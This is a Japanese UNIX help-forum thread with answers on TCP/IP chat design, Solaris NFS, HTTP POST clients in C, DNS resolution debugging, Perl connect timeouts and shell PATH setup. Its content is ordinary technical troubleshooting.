>>2827 Tetsu 「はじめにプロトコルありき」と考えるのはどうでしょうね。 HTTP というプロトコルがあります。HTTP を喋るサーバと HTTP を喋るクライアントが必要です。HTTP を喋るサーバは web サーバです。HTTP を喋るクライアントはブラウザです。 よって、web サーバとブラウザがあれば HTTP で遊べます。 で、あなたはチャットみたいな機能が欲しいと。プロトコルは何にしますか? 1. IRC 2. HTTP (web 上でのチャット) 3. 自作プロトコル 1 の場合、IRC というプロトコルは既に存在します。IRC プロトコルを喋る サーバは既に存在します。IRC プロトコルを喋るクライアントは既に存在します。 よって、IRC サーバと IRC クライアントをインストールすれば OK です。もし IRC サーバに不満があるなら自作することもできます。IRC クライアントに 不満があるなら自作することもできます。 2 も 1 と同じ。 3 の場合、あなたが新しいプロトコルを設計します。何から何まであなたが 勝手に決めます。しかし、そのプロトコルを喋るサーバもクライアントも この世には存在しませんので、両方とも自作する必要があります。 …というので回答になってますか? |
|
回答ありがとうございます 自分の聞きたかった質問の解答になってます ありがとうございます 早速1か2の方法でためしてみたいと思います 3はもう少し勉強してからのほうがいいと思うので |
|
>>2829 Tetsu > 早速1か2の方法でためしてみたいと思います という選択をするのはそれはそれで構わないのですが、チャットアプリを 作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、 多分遠回りになります。 まずは入力された文字を参加者全員に返すサーバを作る。クライアントは telnet コマンドで代用。 そこからどんどん機能追加して、名前を入力できるようにしたり、部屋を 作れるようにしたり、誰かが入室・退室したときは全員に通知するように したり、ファイル送受信できるようにしたり…という方がいいかもしれません。 |
|
教えてください。 あるマシンで NFS の share を行って、他のマシンからそれのディレクトリを mountすると、他利用者に何か影響を及ぼすようなことが発生するのでしょうか? |
|
連続してすみません。 教えてください。 dfmountsコマンドを使用する場合、動作環境の条件は、どのようなものがよろしいのでしょうか? |
|
始めまして。UNIX初心者です。 今、cシェルを主体としているUNIXにログインしているんですが、 自作のプログラミングを流すと、 : 構文エラー at line 59: `end of file' unexpected というエラーメッセージが出るんですが、 「ファイルのエンドコードがないっす」って意味だと思うんですが、 この対処法とかあったら教えて下さい。 因みに自分の記述は一行目から "#! /usr/bin/sh"とかって、シェルがちゃうやん!! みたいな指摘もあったりなかったり(爆 |
|
はじめまして。 HTTPクライアントについて教えて頂きたいのですが、C言語でHTTPクライアントを作成したく、こちらの「C言語でHTTPクライアントを作ってみよう」を参考にしております。それで、そちらにあるソースではGETの場合を例にしておりますが、これはPOSTでも可能なんでしょうか?また、その場合どのようにすればよろしいのでしょうか。 よろしくお願いします。 |
|
>>2883 シケ゛ > : 構文エラー at line 59: `end of file' unexpected 直訳すると 予期せぬ「ファイルの終わり」 意訳すると 次に○○が現れると予想していたのに、ファイルの終端まで 到達してしまった というわけで、if に対応する then や fi がないとか、case を esac で 閉じてないとか、そういったことでしょう。 # ファイルの最終行に改行コードがないという可能性も捨て切れませんが。 > ファイルのエンドコードがないっす UNIX にはファイルの終端コードというものはありません。 >>2834 麻耶 > これはPOSTでも可能なんでしょうか? 可能です。 http://x68000.startshop.co.jp/~68user/net/http-4.html を読んでください。 |
|
>>2831 シド 僕は NFS に詳しくないのでよくわかりませんが、返事が付かないのは 質問が曖昧だからでしょう。 まず、OS とバージョンが不明です。 >>2783 シド > - /home rw=nini:gp7000s,root=gp7000s "File Service" GP7000S っていうことは Solaris か UXP/DS か HP-UX かなぁと 思いますが (Solaris しか載らないんでしたっけ?)、ちゃんと サーバとクライアント両方について、OS とバージョンを明記 すべきです。 また、何をどう設定したのかがわかりません。share の引数は? NFS クライアントからどうやってマウントしたのですか? NFS クライアントからは正常にアクセスできているのですか? > 動作環境の条件はどのようなものがいいか どのような、って何を聞きたいのかわからないです。うまく動作しないのは 動くための条件をクリアしていないのではないか、ということですか? > 他利用者に何か影響を及ぼすようなことが発生するのでしょうか? 「他利用者」ってどのマシンの利用者ですか? クライアント? サーバ? 要は何か問題が発生しているのですか? ただ単に心配しているだけですか? 業務で使用していて問題が発生しているなら、サポートに聞いた方が いいと思いますよ。そっちの方が早いし、正確だし、とことんまで 調べてくれるでしょう。 あとは、人の多い http://pc.2ch.net/unix/ で質問してみるとか。この掲示板なんて、1日100〜200程度のアクセスしか ありませんので。 |
|
回答ありがとうございます。 幾度か試してみまして、出来ませんでしたのでこちらに書き込んだのですが、よく確認しましたところ空行の入れ忘れでした。本当に申し訳ありませんでした。 |
|
すみません。 書き込みの内容が、曖昧でした。私の使用しているのは、確かにSolaris です。 (クラスタサーバモデルなので2つともです。) shareの実行は、「share -F nfs -o rw=ss10:gp7000s,root=gp7000s -d "File Service" /home」 上記の共有を実行しました。 これをもう1つ別のサーバでマウントして、dfmountsを行う。 (dfmounytsはオプションにサーバ名を入れる事が出来た) このときdfmountsを行う動作環境として何か問題または、条件が有りますか。 |
|
回答ありがとうございました(^^) 無事プログラム流れてくれました。 結局、if文内にあったechoのダブルクォーテーション不足でした ご迷惑かけました(^^; |
|
教えていただきたいのですが、HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか? また参考をなるものがありましたら教えて頂けないでしょうか。 よろしくお願いします。 |
|
すいませんが、どなたか文字列置換に詳しい方がいらっしゃいましたら教えていただきたいんですけど、あるディレクトリ以下の全てのファイルを対象に文字列置換を行う際の書式を教えて下さい。 で、文字列中に記号や空白が含まれるので、例えば「top.test/mail.html」という文字列を「i = window.close();」という文字列に置換する際はどういったコーディングになるのか教えて頂けたらさいわいです。 sedコマンド等で色々と試したのですがどうしても上手く行きません。 どなたかわかる方いらっしゃいましたら教えて下さい。 もう3日ほど悩んでいます。。。お願いします。 |
|
>>2841 かず Perlで、 s#top\.test/mail\.html#i = window.close();#g; とか・・・ s#\Qtop.test/mail.html\E#i = window.close();#g; |
|
お世話になっています。 初心者の質問で申し訳がありません。 MA-300というハードにPostgreSQLをインストールをしました。 そこで、自動起動を行いたいのですが、 /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。(red hatでは起動したので、コマンドは正しいかと思います。) 私の初心者ながらの推測では、起動時にrc.localは呼ばれていない気がします。(rc.localの中身は空なので、現状では呼ばれなくてもさしあたりがない。) そこで、またまた初心者的な発想なのかもしれませが、 /etc/rc.d/rc.sysinit に、直接コマンドを書き込んでもいいのでしょうか? ご教授ください。 また、他にいい方法があれば、お教え願います。 よろしくお願いします。 |
|
>> 早速1か2の方法でためしてみたいと思います >という選択をするのはそれはそれで構わないのですが、チャットアプリを >作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、 >多分遠回りになります。 すみません少し勘違いしてました 目的はTCP/IPプログラミングの勉強です チャット機能を持ったプログラムはTCP/IPを理解する上で作りたいと思ってるものです で質問なのですがサーバプログラムは作成しないといけないのでしょうか? プロバイダーのサーバにつないでMSNメッセンジャーのような感じで作りたいのですが |
|
>>2840 紅絹 > HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか? やろうと思えば何だって可能ですが、そもそもファイル転送って何ですか? ファイルを GET することですか? それとも http://tohoho.wakusei.ne.jp/wwwxx034.htm のようにファイルをアップロードすることですか? >>2843 シゲ > /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。 Linux なら http://www.zdnet.co.jp/help/howto/linux/0007master/01/08.html のように S99PostgrSQL と K99PostgreSQL を作るのが普通だと思います。 >>2844 Tetsu > で質問なのですがサーバプログラムは作成しないといけないので > しょうか? プロバイダーのサーバにつないでMSNメッセンジャーの > ような感じで作りたいのですが IRC や ICQ や MSN メッセンジャーのように、既にどこかにサーバが 立ち上がっているのなら、わざわざサーバは作らなくてもいいです。 ただし、こういうのを読んでプロトコルを理解する必要があります。 IRC: http://www3.alpha-net.ne.jp/users/tycho/mokuji.htm ICQ: http://www.d.kth.se/~d95-mih/icq/ MSN メッセンジャー: http://www.tlsecurity.net/Textware/Misc/draft-movva-msn-messenger-protocol-00.txt (これは古い) 作るのにとても苦労するでしょうけど、まぁこういうのが好きならば 結構楽しいと思います。 苦労しつつも楽しんでいる人々: http://pc.2ch.net/test/read.cgi/tech/1006154451/ |
|
マウント、シェア関係はほとんど解決できました。 1つ解らないことがあるので、教えてください。 sunOS Solaris7 を使用しています。 NFS サーバーで NFS サービスの実行があるのですが dfmountsコマンドを実行したいとき、どのデーモンを起動すればいいのか? mountの場合、mountdプロセスが起動していれば、mountコマンドが実行できました。 |
|
教えてください。 現在POSTをつかったHTTPクライアントをC言語で作成しているのですが、[HTTPクライアントを作ってみよう]のPOSTメソッドを参考に sprintf(send_buf, "POST %s HTTP/1.0 \r\n", path); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "Content-Length:8\r\n"); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "Content-Type:text/plain\r\n", path); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "\r\n"); write(s, send_buf, strlen(send_buf)); sprintf(send_buf,"NAME=aaa\r\n"); write(s, send_buf, strlen(send_buf)); という風に作ってみたのですが、ヘッダの方は正常に送信されている みたいですが、パラメータが正常に送信されていないようなんです。 ご指摘よろしくお願いします。 |
|
教えてくれた方、ありがとうございました。 その後四苦八苦してなんとか自分で解決できました。 ありがとうございました。 |
|
ご回答ありがとうございます。 ファイル転送についてですが、GETとアップロードの両方おこなうものを作りたいと思っています。説明不足で申し訳ありませんでした。 |
|
はじめまして、いつもお世話になっております PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら タイムアウト処理を、と言ったことをしたいのですが、以下のプログラムでは うまく行きませんでした。TCPdumpで見てたところ、何回もSYNを投げなおした後 数分後にやっとエラーメッセージを表示してくれます。 よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後 エラーメッセージを出す動きをしていました。 何かアドバイスなど有りましたらよろしくお願いいたします なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です $socket = new IO::Socket::INET ( PeerAddr => "$address", PeerPort => "$port", Proto => 'tcp', TimeOut => 10 ); unless ($socket) { print STDERR "Connection Error at $date\n"; close($socket); } |
|
>>2850 しっぽ > PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら その辺を管理するのは OS の TCP スタックなので、プログラム側 からはどうにもなりません。 > よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく > 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後 > エラーメッセージを出す動きをしていました。 これも、そういうものです。 Solaris だとタイムアウトまでの時間を変更できたしますが、その他の OS では変更できない可能性が高いです。 もし connect 時のタイムアウト処理をしたいという目的ならば、 ノンブロッキングソケットを使いましょう。 >>2847 mattu > パラメータが正常に送信されていないようなんです。 その判断が間違っているような気がします。そう判断するに至った 根拠が明示されていないので、ただのあてずっぽうですが。 |
|
ご回答ありがとうございます。 別にあてずっぽうではなく、サーバ側でデバックにて確認してみると、渡しているデータが入ってなかったのと、渡されたヘッダ・パラメータがファイルに出力されるようにしており、JAVAで作成したものでしたら正常に出力されるのですが、Cで作成したもので試してみるとヘッダの部分のみ出力されるのでそう思いました。デバック等にはVAJを使用しております。 言葉不足ですみませんでした。 |
|
>>2852 mattu - ボディの最後の \r\n は不要 (もし \r\n を付けるなら Content-Length は 10 であるべき。でも \r\n 付けていいのかな?) - リクエストに Content-Type ヘッダは不要 という点を直しても まだボディが渡らないようなら、その C のプログラムが おかしいんだと思います (てゆーか、Java でうまくいって C でうまくいかない なら、C の方を疑うべきでしょう)。 詳しくはこちらなど。http://www.studyinghttp.net/headers.html |
|
>>2845出来ました。ありがとうございます。 |
|
教えてください。 showmountコマンドは、OSのサポートバージョン等が制限されていますか。 showmountコマンドの実行制限が何かありましたら、教えてください。 |
|
ご回答ありがとうございます Cで作るHTTPクライアントの件ですが、やはりボディが渡りません。 ソースの方を確認しましたが、おかしいと思われる箇所は見つかりませんでした。 環境が原因で渡らないというのはあるんでしょうか? 現在はUNIX上でコンパイル・実行をしてWin2000上のVAJにつないでいるんですが、関係あるのでしょうか? また、ボディの書き方で何か注意しとくべきことありますでしょうか? よろしくお願いします。 |
|
>>2856 mattu > ボディの書き方で何か注意しとくべきことありますでしょうか? 結局何をどうしたのかわからないので、何とも言えません。 - VAJ をやめて別のサーバ (Apache など) にしてみる - パケットをモニタして、java 版と C 版の違いを調べる あたりをやれば何かわかるんじゃないでしょうか。 >>2856 mattu >>2855 シド とりあえず http://www.hyuki.com/writing/techask.html を読んでみてください。 |
|
>>2851 68user ご回答ありがとうございます そんな気はしてたのですが、やっぱりそうですか ただ、TimeOut => 10 の所は何に反映されるのかってのがちょっと気になりました。 確か<$socket>やsysreadで読んだときに読むべきデータがないと TimeOutの時間を過ぎても返ってこなかったと思いますので… >ノンブロッキングソケットを使いましょう。 これってつまりは「読むべきデータが無いときに待たない」って 事ですよね。Perlでは使えますでしょうか?? 確立時の話じゃないですけど、Cのrecvなんかは待たないので 便利だったり不便だったりといった感じではあったのですが… |
|
>>2850 しっぽ > PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら > タイムアウト処理を、と言ったことをしたいのですが この目的を聞かせてください。connect で数分待ってしまうのがイヤだから なんとかしたい、ということだと受け取ったのですが、 > Cのrecvなんかは ということは、read/write のタイムアウト管理 {が or も} 目的なのですか? |
|
>>2850 しっぽ IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、 http://www.cotse.com/sw/portscan/halfscan.c のプログラムと同等のことをPerlからやりたいなら、 http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP.pm でなんとかできませんか? libpcapのラッパーなのでそれがmakeに要る ようです。 タイムアウトは、 >なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です とのことですから、threadを使ってなんとかできそうですが Perlのthreadなんて使ったこと無いのでどうなのか知りません。 Rubyなら http://www.goto.info.waseda.ac.jp/~fukusima/ruby/pcap-j.html なんてのもありますがこっちは目的の機能は無いようにみえます。 |
|
未だRedhatで名前解決できず、気が向いては眺め、弱っています。 Redhat7.1.94(雑誌に付属)を再インストールしてみましたが、 症状は変わりませんでした。 >>2814 68user [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか? 使ったことも知識も無いので、よかったら今後のためにもアドバイスください。 >>2779 has いまさら経緯の説明をはじめるのも遅すぎかとは思うのですが、 そもそもこういった状態になったのは、LANからインターネットへの回線が ISDNからADSLに変わり、それと同時に各ユーザマシンに割り当てられるIPが グローバルIPからプライベートIPに変わってからでした。 それまではRedhatからでも名前解決に時間がかかりながらも なんとかアクセスできていました。 # Win2kとのデュアルブートなんですが、ADSLになる以前からも、 # Win2kは素早く名前解決できてRedhatで時間がかかるという差が # あったことが、既におかしかったのかもしれません… とりあえず現在の状況はこんな感じでうまくいっていません。 以上ご報告まで。 |
|
はじめまして。 HP-UX11のインストールをされた方がいらしたら幸いです。 質問があります。 locale -a で表示されていないロケールを、OSインストール後に、個別でインストールできるでしょうか?OSの入れなおししか、方法は無いでしょうか? # setenv LANG japanese を設定しても、Warningが出てしまいます。何とか個別でインストールしたいのですが・・・ 乱文ですみません。よろしくお願いします。 |
|
はじめまして 現在Solaris2.6 + iPlanet4.0 でWebサーバを利用しています。 先日CGIを使いたいとの要望がありiPlanetに対してCGIの設定を行った のですが、"Method Not Allow"というエラーがブラウザに表示され、 CGIを実行することができません。 原因がわかる方、ご教授願えないでしょうか。 iPlanetに対して行った設定は下記のようなものです。 <やりたいこと> 〜/cgi/ ディレクトリに設置したcgiファイルを実行したい 1.サーバマネージャで[Program]→[CGI Directory]を選択し、上記ディレクトリをURLにマッピング 2.サーバマネージャで[Program]→[CGI File Type]で上記ディレクトリを選択し、ON状態に設定 3.利用するCGIファイルのパーミッションに777を設定。とりあえず動かすのが目的なのでフルアクセスを許可してみました(^^; |
|
>>2861 has えー、混乱してきたのんでまとめると、 /etc/host.conf order hosts,bind /etc/resolv.conf nameserver 192.168.0.1 名前解決ができない。 netscape や perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" は NG。 nslookup, host, dig は OK。 → gethostbyname 系がダメっぽい。 dig は OK? NG? tcpdump の結果 netscape も perl も query 投げていないようだ。 strace dig の結果 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) connect はしていないようだ (by has) → これは dig は名前解決できないという意味? nslookup と host が OK で、 dig が NG ならば、ちょっと理解できません。UDP は「connect して send」 「connect して send」の両方のやり方がありますが、dig は「conenct して send」するはず (てゆーか大抵の DNS クライアントは connect すると 思う)。 strace perl の結果 socket(PF_UNIX, SOCK_STREAM, 0) = 3 connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory) socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 → perl (から呼ばれる libc の resolver) は正常動作していると思う。これで パケットが飛ばないなら、OS の TCP/IP スタックが腐ってるとしか…。でも nslookup や host は OK というなら違うのかなぁ。nslookup や host を strace するとどうなるんでしょう。 > [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか? えー、UDP を投げた後 ICMP (かな?) が返ってくるサマを見て、何か わかるかなーと思いましたが、今考えるとおそらく netstat -s では 原因まではわからないでしょうね。netstat -s については、2〜3ヵ月 以内の UNIX USER に詳しく説明されていましたので (Solaris,FreeBSD, Linux の netstat -s の違いも含め)、興味があればそちらを。 あと、本当にお困りなら linux.or.jp あたりのメーリングリストで 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら こっちで続けても構いません)。 |
|
>>2862 HP-UXSE > locale -a で表示されていないロケールを、OSインストール後に、 > 個別でインストールできるでしょうか? HP-UX は使ったことがないのでわかりません。僕は Solaris で同じ ことをする正しい方法を知りたい。 # 昔 ja_JP.eucJP ロケールが入ってなかった Solaris に、他の # Solaris マシンから/usr/share/locale/ja_JP.eucJP (だったかな?) # をごっそり持ってきて動かしたことがある。 >>2863 とも 残念ながら iPlanet も使ったことありませんのですよ。 |
|
>>2861 has そうそう、/etc/nsswitch.conf は hosts: files dns てな感じになってますか? |
|
>>2859 & 2860 レスありがとうございます >この目的を聞かせてください。connect で数分待ってしまうのがイヤだから >なんとかしたい、ということだと受け取ったのですが、 サーバーのサービスの監視が目的です。L4SW(サーバーロードバランサー)なんかだと 5秒間隔のSYNに3回連続で応答しなければ死んだと見なすなんてヘルスチェックを 良くやるのですが…、3分にもわたって6回連続で応答しない場合のみ死んだと見なす ってのはちょっと嬉しくないです #これ書いててL4SWが余ってるからそれでやっても良いことに気づいた…(^^; Writeのタイムアウトの方法は知りませんが、readのタイムアウトは以前 $selector->can_read あたりをやってみて上手くできていたような気がします >IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、 低水準な物の存在を知らなかったので… Net::RawIP ってのは名前からして使えそうな気がします。ぐぐるで調べて 何件か出てきたので見てるところですが、ただ今のところ送るのはともかく その後どうやって受信したら良いかが良くわかってなかったりします まあAttackingに使うには良いのかも知れませんが |
|
>>2867 しっぽ であれば、ずっと connect しっぱなしで定期的にデータを 送り、返答がなければ異常とみなすのはどうでしょうか? で、connect のタイムアウトですが、IO::Socket のソースをちらっと 見て $SIG{ALRM} やら alarm やら書いてあったので、connect 時にも タイムアウトが働くはず…と思っていたのですが、実際に試してみると タイムアウトになりませんでした。なので、 $SIG{ALRM}=sub { print "SIGALRM!\n"; }; alarm(10); $socket = new IO::Socket::INET (...); alarm(0); こんな感じで。 |
|
>>2868 68user ちなみに connect 中に SIGALRM が飛んでくると $! (errno) には Interrupted system call が入ります。でも、IO::Socket は内部で $! が潰されてしまう ようですね。 そういう意味でも、KL さんのおっしゃるとおり高級なものを 使うのは避けた方がよいかも。 |
|
>>2867 しっぽ >何件か出てきたので見てるところですが、ただ今のところ送るのはともかく >その後どうやって受信したら良いかが良くわかってなかったりします sendメソッドがありますがrecvが無いですね。 前記の通りRawIPはlibpcapのラッパーなので、libpcapへのインターフェイス がPerlに露出されてます。キャプチャせよということでしょう。 http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP/libpcap.pod halfscan.cを(Perlなり他の手段を経由するなりして)raw socketの使えるシェル から使えば一番手短に済んで良いと思いますけども。 Perlでなければならない理由が何かあるのでしょうか。また、監視対象のサービ スも何か分からないので、halfscan.cが一番汎用で楽です。 >まあAttackingに使うには良いのかも知れませんが どこがどのように良いのでしょう? >>2868 68user 「connectしっぱなしで対象サービスを監視しているサービスが 正常に動いているか」を監視するサービスが必要で、さらにその サービスを監視するサービスが...というのを考えつきました 笑 この循環を止めるには、せいぜいhalfscan.cを、切れない回線の 向こうにある落ちないOSから定期実行するか、もしくはしっぽさん の仰られるような信頼性の高い機械を使うしかないのでは。 |
|
>>2864 68user > 名前解決ができない。 nslookup,host,digは動作OKです。 > → これは dig は名前解決できないという意味? nslookup と host が OK で、 > dig が NG ならば、ちょっと理解できません。 strace digについては、dig自体は正常に動作し名前解決しているが、 ご指摘のsend()のコールが見つからないという意味です。 かわりにwrite()のコールがあるので、sendではなくwriteを使っているのでは と想像していますが、straceで表示されるwriteで送っている文字列(?)は 内容が意味不明で、writeがsendの代わりに使っていると断言する自信は ありません(dnsライブラリのソースや解説を見たわけではないので)。 実際には次のようになります。 % strace dig www.jp.freebsd.org >& strace-dig.txt % grep 'write(' strace-dig.txt write(4, "\t\0\0\0\5\0\0\0\2\0\377\277\266\3066\1\0\240\5\10\340"..., 148) = 148 write(4, "\200-(@\0\0\0\0\0\372\377\277\200T$@\10P<@\3@\0\200\0\0"..., 148) = 148 write(4, "\200-(@\0\0\0\0\20\372\377\277\220q$@XP<@\3@\0\200\0\0"..., 148) = 148 write(4, "\200-(@\0\0\0\0\0\372\377\277 \365$@\350\"\6\10\3@\0\200"..., 148) = 148 write(4, "\200-(@\1\0\0\0\2\4\0\0Ho\26@\320\371\377\2771\220\0@\334"..., 148) = 148 write(6, "\377\377\377\377", 4) = 4 write(4, "\200-(@\1\0\0\0\4\f\0\0\30V(@\260\214\'@\240\224;@\310"..., 148) = 148 write(4, "\200-(@\1\0\0\0\3\10\0\0\376\274\'@\340\"\6\10\260\230"..., 148) = 148 write(4, "\200-(@\2\0\0\0\0\0\0\0*\22:@t\241;@@0<@8\372\377\277\372"..., 148) = 148 > → perl (から呼ばれる libc の resolver) は正常動作していると思う。 確かに正常動作しているように見えます(想像ですが)。 ここで気づいたことがあるのですが、dnsを直接操作するコマンドと gethostbynameを呼んでいると思われるコマンドで互いのstraceの結果を見比べると、 dns処理のためにオープンしているライブラリが異なっているようです。 またネットを検索していて気づいたのですが、glib2.1.??あたりにバグが あるらしいです(情報自体は古いですが)。 もしかしたらバグのあるバージョンかもしれないので調べてみます (今回の名前解決とは関係のないバグかもしれませんが…)。 > netstat -s については、2〜3ヵ月以内の UNIX USER に詳しく説明されていましたので 見つけたら是非読んでみようと思います(書泉行き?)。 > あと、本当にお困りなら linux.or.jp あたりのメーリングリストで > 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら > こっちで続けても構いません)。 解決しなくていいわけではないですが、まだねばりたいです。 いつまでも同じ話題でいいかげん飽きている、という気もしますが、 もう少しお付き合いくだせい。 |
|
>>2866 68user > そうそう、/etc/nsswitch.conf は > hosts: files dns > てな感じになってますか? ご指摘の記述は存在しました。 |
|
初めまして。たまにこのホームページにお邪魔させて頂いてます。 FreeBSDのFileSystemについて質問があります。 早速ですが、質問させていただきます。 iノード番号から、struct inodeまたはstruct dinodeを取得する関数(system call)があれば、その関数名を知りたいのですが。 どなたか、ご存知の方はいらっしゃいませんでしょうか? |
|
初めまして。すばらしいサイトですね! 私はまだunix初心者なので、貴サイトにはお世話になっております。 Mewについて調べたところ、 http://www.mew.org/index-j.html へのリンクが切れてました。 今は http://www.mew.org/index.html.ja もしくは http://www.mew.org/ で行けると思います。 これからも頑張ってください。 |
|
>>2873 kaworu > iノード番号から、struct inodeまたはstruct dinodeを > 取得する関数(system call)があれば たぶんないです。 struct inode や struct dinode は UFS にしか存在しないので、 UFS, NFS, DOS ,ext3, VFAT, FAT32 など、複数のファイルシステムを サポートしなければならないシステムコールとしては存在しないです。 もしやるなら /dev/da0c などのデバイスを直接オープンすること になると思いますが、clri, fsck, fsdb などのソースが参考に なるかもしれません。 >>2871 has > dns処理のためにオープンしているライブラリが異なっているようです。 とりあえず ldd でどのライブラリを使っているか見たり、nm や objdump でどの関数を使っているか調べてみるとよいかもしれません。 |
|
>>2875 68user > struct inode や struct dinode は UFS にしか存在しないので、 ああ、いきなり嘘を書いてしまった。 struct inode はメモリ内 inode なので、全ファイルシステムで 利用可能ですね。 |
|
はじめまして!!UNIX初心者なのですが、こちらには本当にお世話になっております。 素晴らしいサイトだと思います。 数あるコマンドリファレンス本がほとんど無用になりました。 でも先週、なぜかまったくアクセスできなくなってしまい、大変つらい思いをしました。 こんな聞き方失礼でしょうが、こちら、閉鎖されてしまう予定とかないですよね? もしなくなってしまったらとてつもなく悲しいです。業務にも支障が出てしまいます(悲しくて(笑)) もし一括ダウンロード等の仕組みがあったらぜひバックアップしておきたいくらいです。 ぜひぜひ永続を願わんことを・・・管理人様の労力を無視した勝手な発言で申し訳ありませんが。 |
|
はじめまして。いつもいつもUNIXの勉強でお世話になっています。 本当に素晴らしいサイトですね。 私もダウンロード等で保存しておきたいぐらいです。 市販の参考書よりもわかりやすく、とても参考になります。 これからもよろしくお願いします。 |
|
はじめまして。UNIX初心者なのが、いつもお世話になってます。 今、会社でHP−UNIX10.20を使用しています。(勉強中) DATテープにデータをバックアップするのにfbackupコマンドを使用しています。このfbackupでバックアップした内容を確認するコマンドって何ですか?ちなみにtar cvでバックアップした内容の確認はtar tvで確認できますよね?以上、ご存知の方教えてください。 |
|
>>2877 カトウ > でも先週、なぜかまったくアクセスできなくなってしまい、 > 大変つらい思いをしました。 8/2 あたりから 10日ほどマシンが落ちてました。マシンがリモートに あるため対応が遅くなり失礼しました。 > こちら、閉鎖されてしまう予定とかないですよね? 現時点では閉鎖予定はないですが、なにぶんにもタダで借りさせていただいて るものですから、マシンがクラッシュしたらどうなるかわかりません。そしたら どこかでサーバ探すでしょうが、それもいつになるかわかりませんし、移転の お知らせはできないかもしれません。 それまでに頑張って man と google だけで問題解決できるようになって ください。 >>2879 hiro man fbackup を読みましょう。 http://www.calpoly.edu/cgi-bin/man-cgi?fbackup 読むのが面倒なら、SEE ALSO の項目だけ見て、それっぽいコマンドを 試しましょう。僕は HP-UX を使ったことがないので、どれがそのコマンド なのかはわかりません。 |
|
シゲと申します。 今、red hat 7.1でパッケージソフト開発を行っています。 複数のプロセスが立ち上がるもので、それぞれのメモリー使用量を確認を行っています。 meminfoにより合計のメモリ使用量を測ると13Mぐらいしかないのに、それぞれのプロセスの /proc/(プロセス番号)/status のVmSizeを合計すると、150Mぐらいになってしまいます。 150Mは間違いなく間違っていると思います。 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか? ご教授お願いします。 |
|
>>2881 シゲ 例えば、ls を同時に 2 プロセス実行していても、メモリ上に配置される /bin/ls の テキスト領域 (命令文の領域) は 1 つしかありません。同様に libc などのライブラリの テキスト領域も共有されます。そこらへんで食い違いが出ているのではないかと思います。 > 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか? どーなんでしょうねー。status の Vm* を足したり引いたりしたら 計算できそうな気もしますが、正確なところはわかりません。 まぁ、ここらへんのテキスト領域をどう計算したいのかにもよると思います。 |
|
ご教授有難うございます。 帰りの電車の中で考えていたら、ひらめきました。 全プロセス立ち上げ時の,/proc/meminfoの全使用メモリ量から、測定したいプロセスをkillしたときの/proc/meminfoの全使用メモリ量を引けば良い気がしました。 しかし、考えてみれば68userさんのおっしゃるとおり、共有メモリが存在するから、正確な結果ではありませんね・・・。 こまったな・・・。 |
|
>>2883 シケ゛ 結局は用途次第なわけですが、普通の環境であれば daemon 類が libc を 使っているでしょうから、そこらへんは無視していいでしょう。 あとは、横軸: プロセス数、縦軸: メモリ使用量なグラフでも書いて、 「n クライアント、m リクエスト/sec だと XX MB 程度必要」 とか書いておけばいいんじゃないでしょうか。 # 手抜き? |
|
はじめまして。 いつもこちらのサイトにお世話になっています。 パスの設定のされていないコマンドにパスを設定するには どうすればよいのでしょうか(絶対パスでは実行できます) 初歩的な質問で恐縮ですがお教えいただけませんでしょうか。 よろしくお願いいたします。 |
|
>>2885 ホームズ % hoge hoge: Command not found. % /foo/bar/hoge (実行できる) という状況で、hoge とだけタイプすれば実行できるようにするには どうしたらよいか、ということですか? 環境変数を使うのが一番簡単でしょう。 % setenv PATH ${PATH}:/foo/bar (csh・tcsh 系) $ PATH=${PATH}:/foo/bar; export PATH (sh・bash 系) csh・tcsh 系なら set path=($path /foo/bar) でもいいです。 |
|
お返事ありがとうございます。 68userさんの言われたとおり設定したらできました。 どうもありがとうございました。 |
|
初めまして、よろしくおねがいします。 お聞きしたいことがあります。 tar xvzf .tgz して、うまく展開したのですが、 もう一度 練習で、やってみようと思うと、 Only one compression option permitted とでてしまいます。 一回しかできないという意味なのでしょうか? 一回、 .tgzを消して試しましたが、同じでした。 初歩的かもわかりませんがよろしくお願いします。 |
|
